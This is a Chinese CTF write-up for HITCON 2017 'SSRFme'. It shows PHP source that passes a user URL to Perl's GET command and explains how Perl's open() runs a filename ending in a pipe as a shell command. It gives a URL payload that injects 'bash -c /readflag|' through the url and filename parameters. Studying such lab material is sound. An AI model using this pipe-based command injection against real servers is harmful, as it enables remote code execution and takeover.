[HITCON 2017]SSRFme

知识点:peal中get命令漏洞(get中的open函数)

分析

<?php
//获取并输出ip
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];

//创建并进入sandbox/hash/目录下
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

//执行GET命令,参数为过滤后我们的url参数
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

//获取文件名,和最后一级目录名,创建并进入
//当然dir为空也行,php也会继续往下执行
$info = pathinfo($_GET["filename"]);    
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);

//把执行GET命令后的结果输入,某个文件里
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

相关知识

关于open漏洞外国人是这么解释的:

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果
GET部分源码:

# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");

可以看到GET在执行前会先判断文件是否存在,若不存在则会报错,无法继续执行,若文件存在则用open打开文件,所以要想GET执行我们的shell,那么就要在执行前创建一个和我们shell同名的文件。

# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");

payload

可以先看下有哪些文件

/?url=/&filename=aaa
/sandbox/md5/aaa

getflag:

用file协议读取,bash -c是将文件当作可执行文件执行,执行两遍是因为,第一次因为同名文件不存在,会执行命令失败,所以第一次是为了创一个同名文件,第二次把执行结果写入文件。
 1. ?url=file:bash -c /readflag|&filename=bash -c /readflag|
 2.  ?url=file:bash -c /readflag|&filename=bash -c /readflag|	(这边的filename可以为任何名字)
 3.  /sandbox/hash/bash -c /readflag|

参考

https://www.cnblogs.com/AikN/p/15953194.html

版权声明:本文为shinygod原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。